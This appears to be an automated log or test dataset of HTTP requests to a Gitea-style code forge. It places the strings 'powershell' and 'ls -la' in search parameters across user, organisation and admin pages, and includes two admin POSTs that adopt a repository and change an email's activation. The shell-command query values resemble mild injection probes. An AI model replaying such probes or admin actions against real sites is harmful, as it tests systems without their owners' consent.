|
||||||
{"method": "GET", "target": "/alice/tools/milestone/1?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/projects?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/packages?q=powershell&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/posters?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/posters?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/actions/runners?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/actions/runners?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/settings/actions/runners?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/users?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/orgs?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/orgs", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/repos/unadopted?search=true&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/emails?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/packages?q=powershell&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/admin/repos/unadopted", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 55", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/repos/unadopted?search=true&q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "id=alice%2Flegacy-site&action=adopt&q=powershell&page=1"}
|
|
||||||
{"method": "POST", "target": "/admin/emails/activate", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Length: 100", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/emails?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": "sort=email&q=powershell&is_primary=&is_activated=&uid=2&email=bob%40example.com&primary=1&activate=0"}
|
|
||||||
{"method": "GET", "target": "/explore/topics/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=ls%20-la&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/search_candidates?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/notifications/watching?q=ls%20-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/teams/-/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/code?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/projects?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=ls%20-la&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=ls%20-la&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/tags?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestone/1?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/projects?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/packages?q=ls%20-la&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/posters?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/posters?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/actions/runners?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/actions/runners?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
